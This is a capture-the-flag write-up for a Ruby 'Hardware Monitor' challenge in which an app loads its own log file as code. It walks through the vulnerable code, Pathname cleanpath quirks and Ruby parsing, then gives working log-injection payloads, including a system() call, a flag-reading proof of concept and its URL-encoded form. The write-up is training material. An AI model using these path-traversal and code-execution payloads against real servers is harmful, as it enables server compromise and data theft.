Dojo challenge #44 Hardware monitor write-up

September 24, 2025

The Dojo challenge Hardware Monitor tasked participants to exploit a log injection vulnerability. The application was loading the log file using Ruby’s load function, which made it possible to inject Ruby code into the log and execute it, ultimately allowing participants to retrieve the flag.

💡 Want to create your own monthly Dojo challenge? Send us a message on X!

The winners

Congrats to ali4s, nater1ver, noraj for the best write-ups 🥳

The swag is on its way! 🎁

Subscribe to our X and/or LinkedIn feeds to be notified of upcoming challenges.

Read on to find out how one of the winners managed to solve the challenge.

Hardware Monitor CTF Challenge – Write-Up & Walkthrough By nater1ver

We would like to thank everyone who participated and reported their solution for this challenge to the Dojo program. There were many great reports for this challenge and you can find the best write-up below:

Summary

A log injection vulnerability leading to code execution, it's not common and it's application specific. in this case our context. where the attacker gets to execute malicious ruby code by leveraging the logs/error.log file.

A successful attack causes code execution, leading to the compromise of the server exposing sensitive/confidential data.

Exploitation

The application we're presented with, is an app that executes ruby code backup scripts inside the scripts/ folder, where the user perform a request with the backup script name the action is then logged inside logs/error.log. With this brief summary we can now dive deeper into the technical stuff.

Code Analysis

Overall snippet

require 'erb'
require 'cgi'
require 'logger'
require 'pathname'

Dir.chdir('/tmp/app')

logger = Logger.new('logs/error.log')
logger.datetime_format = "%-m/%-d/%Y"

scriptFile = CGI.unescape("")
scriptFile = Pathname.new(scriptFile)

# Load given backup script
if scriptFile != '' then
    logger.info("Running bakup script #{scriptFile}")
    begin
        load "scripts/#{scriptFile.cleanpath}"
    rescue Exception => e
        logger.warn("The bakup script failed to run, error : #{e.message}")
    end
end

# Render the given page for our web application
puts ERB.new(IO.read("views/index.html")).result_with_hash({logs: File.read("logs/error.log")})

I should note that all the details below that will explain in depth how certain parts of the code works are crucial to understand and mentioned as an important part of the exploitation process, no unnecessary code parts will be mentioned, each part should be kept in mind while moving along.

Logging

First it creates a log file using the standard ruby logger module, specific to log events inside the file logs/error.log, if the file already exists it appends new logging data to it, if not, it creates a new file:

logger = Logger.new('logs/error.log')
logger.datetime_format = "%-m/%-d/%Y"

The top of a log file created with the logger module will look similar to this:

# Logfile created on 2025-09-02 14:26:51 +0300 by logger.rb/v1.7.0

An example info log line:

I, [YOUR_DATE_TIME_FORMAT #209384]  INFO -- : YOUR LOG TEXT HERE

In our case the application specified its date time format %-m/%-d/%Y so an example log line would be:

I, [9/2/2025 #209384]  INFO -- : Running bakup script script_name

Pathname class

It takes the backup script name from the parameter and initializes a new Pathname instance:

scriptFile = Pathname.new(scriptFile)

Here's some quotes from the ruby docs:

Pathname represents the name of a file or directory on the filesystem, but not the file itself.
Pathname can be relative or absolute. It’s not until you try to reference the file that it even matters whether the file exists or not.

As a start, the Pathname class itself does not prevent path traversal, it's not its purpose, in fact it's designed to accept relative paths.

Loading the backup script

# Load given backup script
if scriptFile != '' then
    logger.info("Running bakup script #{scriptFile}")
    begin
        load "scripts/#{scriptFile.cleanpath}"
    rescue Exception => e
        logger.warn("The bakup script failed to run, error : #{e.message}")
    end
end

First it's gonna append an info log line before trying to load anything:

logger.info("Running bakup script #{scriptFile}")

Meaning we can in fact put any data here as our passed scriptFile, it doesn't have to be valid since no actual checks are being done here, it just logs whatever you pass to it.

Then it tries to load the script using the ruby load keyword, I couldn't find the explanation of this keyword in the ruby docs for some reason (surely it's a me issue), but its behavior is pretty straight forward:

You have a ruby code in another file and you want to use it in the current block of code

## file.rb 
puts "yo wassup"

## main.rb 
load "file.rb"

main.rb output:

yo wassup

Simple, but what's interesting is that you can load any file extension, it doesn't actually have to be a .rb file, if you take the above example and changed file.rb to file.txt for example, it will works perfectly fine, the keyword doesn't look at the filename but only its content, so the below code will work just like the previous one:

## file.txt 
puts "yo wassup"

## main.rb 
load "file.txt"

Now back to the loading logic, after logging the info message it then tries to load the file:

load "scripts/#{scriptFile.cleanpath}"

notice the difference between both lines:

logger.info("Running bakup script #{scriptFile}")
load "scripts/#{scriptFile.cleanpath}"

When it logs the info message it logs the normal string but when it tries to actually load the file it uses the cleanpath method to ensure it's a valid filename, here's a quote from the ruby docs:

Returns clean pathname of self with consecutive slashes and useless dots removed. The filesystem is not accessed.

Now, after I played around with this method in order to understand its behavior it turns out that it completely removes certain parts from the string

If you're interested to play around with it yourself you can use the following code:

require 'pathname'

p = Pathname.new("your/path/here")
puts p.cleanpath

input:

whatever:/../etc/passwd

will output:

etc/passwd

Now that's cool, but I still want a relative path, turns out the following will work just fine, just adding an extra ../ fixes the issue:

whatever:/../../etc/passwd

output:

../etc/passwd

What we're essentially doing here is putting custom data and still getting a valid file name after using the cleanpath method.

Concluding that, we can put custom data in the log file while still executing a valid file, since the cleanpath method is used only for loading the file and not when logging the file name inside logs/error.log.

Now I'm not sure about the complete logic of why the cleanpath method filter the string that way, but since testing was enough I don't think it matters.

Connecting the dots

As the hacker I have no idea what backup scripts are available inside the scripts/ folder, of course besides the default bakup.rb script which does absolutely nothing interesting lol, fuzzing a script name is not an option and even if I found a script, what's the chance it'll be useful anyway?

But wait a second, why don't I just use the log file logs/error.log itself? the load keyword doesn't mind it as long as the syntax is valid, the log file should in theory be a good candidate, right?

Setting the script file parameter value to: ../logs/error.log will result in the app trying to execute the log file, it will obviously throw a syntax error and log the error message too:

# Logfile created on 2025-09-06 09:06:38 +0000 by logger.rb/v1.6.4
I, [9/6/2025 #889]  INFO -- : Running bakup script ../logs/error.log
W, [9/6/2025 #889]  WARN -- : The bakup script failed to run, error : scripts/../logs/error.log:3: syntax errors found
  1 | # Logfile created on 2025-09-06 09:06:38 +0000 by logger.rb/v1.6.4
> 2 | I, [9/6/2025 #889]  INFO -- : Running bakup script ../logs/error.log
    | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ unexpected write target
    |    ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ unexpected write target
    |                                                                     ^ unexpected end-of-input; expected a `]` to close the array
    |                                                                    ^ unexpected end-of-input, assuming it is closing the parent top level context

Having the ability to execute the log file is our first red flag, If you recall I've mentioned that the beginning of the log file is something similar to this:

# Logfile created on 2025-09-02 14:26:51 +0300 by logger.rb/v1.7.0

Isn't that just a ruby comment? so as a start we have no issues with the top of the file, it's just a comment, but what about the info message:

I, [9/2/2025 #209384]  INFO -- : Running bakup script

if we try to manually execute a test log file with the following content:

# Logfile created on 2025-09-02 14:26:51 +0300 by logger.rb/v1.7.0
I, [9/2/2025 #209384]  INFO -- : Running bakup script
ruby junk.log

We'll immediatly get a syntax error, just like when we tried to pass it as a parameter in the app:

junk.log: --> junk.log
Unmatched `[', missing `]' ?
> 2  I, [9/2/2025 #209384]  INFO -- : Running bakup script 

junk.log:2: syntax error, unexpected end-of-input, expecting ']' (SyntaxError)
...INFO -- : Running bakup script 
... 

The first line has passed since it's just comment, but what about the second line, can we construct it in a certain way that passes and executes a malicious code? the short answer is yes we can, if you're interested in the long answer you can proceed with reading this section.

Ruby syntax 101

You know, ruby is a cool language. in fact everytime I read the word "ruby" I remember this singer since they share the exact same name lol, now back to the Ruby language.

How is the following log line being parsed in ruby?

I, [9/2/2025 #209384]  INFO -- : Running bakup script

if you look at the above line in ruby terms things starts to shift a bit:

as a start there is a hashtag in the line, isn't that just, code and a comment next to it in ruby terms ? :

puts "yo" #that's a comment

in reality the text after the date and time is just a comment:

... #209384]  INFO -- : Running bakup script

Now what about the date and time?

9/2/2025

Well, in ruby that's just a regular division operation, it's dividing those numbers, it is in fact something valid.

Our payload starts here:

I, [9/2/2025 #209384]  INFO -- : Running bakup script PAYLOAD

but since it's comment we need to find a way to escape out of that comment.

It's pretty simple, adding a new line 0xA \n at the beginning of the payload will do the trick:

%0APAYLOAD
I, [9/2/2025 #209384]  INFO -- : Running bakup script 
PAYLOAD

Leaving us with the missing parts:

I, [9/2/2025 

Just by reading the ruby output we can get pretty solid idea on how this can be resolved:

syntax error, unexpected end-of-input, expecting ']' (SyntaxError)

The bracket needs to be closed, but the bracket of what exactly? again if you look at it in ruby terms it can be just an array:

[9/2/2025]

An array containing the result of a division operation of 3 numbers, now of course since there's a comment next to the code you simply close the bracket in the new line:

[9/2/2025 #a comment
]

For the last part, the letter I with comma ,

I,

Thinking about it in ruby terms that could be a new definition of a several new variables with the same value:

I, A, B = 1

But remember here we have a supposed array next to that character:

I, [9/2/2025]

After testing for a bit I figured that you can just re-define the element in the array itself:

I, [9/2/2025][0] = 1

This will work just fine, it doesn't make actual sense or purpose but why would we care about that right?

So wrapping this together in order to make it work with the log file:

I, [9/2/2025 #209384]  INFO -- : Running bakup script 
][0]=1;system("touch /tmp/pwned")

Notice the new line, the most important part.

Combining the log file path with the payload

Alright so we've figured our payload, but the main objective still stands which is inserting the payload while simultaneously providing the path of the logs file ../logs/error.log in the current context, it should also be noted that in this challenge context the application resets on each try no additional logs are being written on each time you try a payload, meaning in a real world scenario the attacker should be the first one to try the payload before any other user, meaning he got only one shot on this, since additional log lines will cause the log file to not parse correctly (at least from what I tried).

Recalling what I mentioned earlier about the cleanpath method in the Pathname class, I've mentioned that when you construct a string in a certain way it ignore some parts entirely, which is exactly what we need, remember the original string gets put in the log file but loading the file uses the cleanpath method to execute it:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")://../../../../logs/error.log")
puts p.cleanpath

Output:

../logs/error.log

Perfect isn't it? yes, maybe.

I, [9/2/2025 #209384]  INFO -- : Running bakup script
][0]=1;system("touch /tmp/pwned")://../../../../logs/error.log)

There still one thing that is wrong here, the code will try to execute ://../../../../logs/error.log) too, now that's pretty simple to solve by just adding a comment # at the end of our payload:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath
../logs/error.log
I, [9/2/2025 #209384]  INFO -- : Running bakup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log)

Here we go

POC


][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

(note the newline as the first character)

url encoded:

%0A%5D%5B%30%5D%3D%31%3B%66%3D%44%69%72%5B%27%2F%74%6d%70%2F%66%6c%61%67%2a%2e%74%78%74%27%5D%5B%30%5D%3B%63%3D%46%69%6c%65%2e%72%65%61%64%28%66%29%3B%70%75%74%73%20%63%23%3A%2F%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%6c%6f%67%73%2F%65%72%72%6f%72%2e%6c%6f%67

Flag

FLAG{D0nt_Und3res7imate_a_L0g_1njection}

Severity

The hacker needs to be the first one to ever insert the payload, which makes this attack in a real world scenario somewhat limited, but just because it's limited doesn't mean it's not effective, as long a no other user has yet to try to run a script the attacker gets to compromise the server.

Mitigation

A quick mitigation I can think of is to not allow the user to execute any file outside the scripts/ directory, in other word forbidding the use of relative paths.

References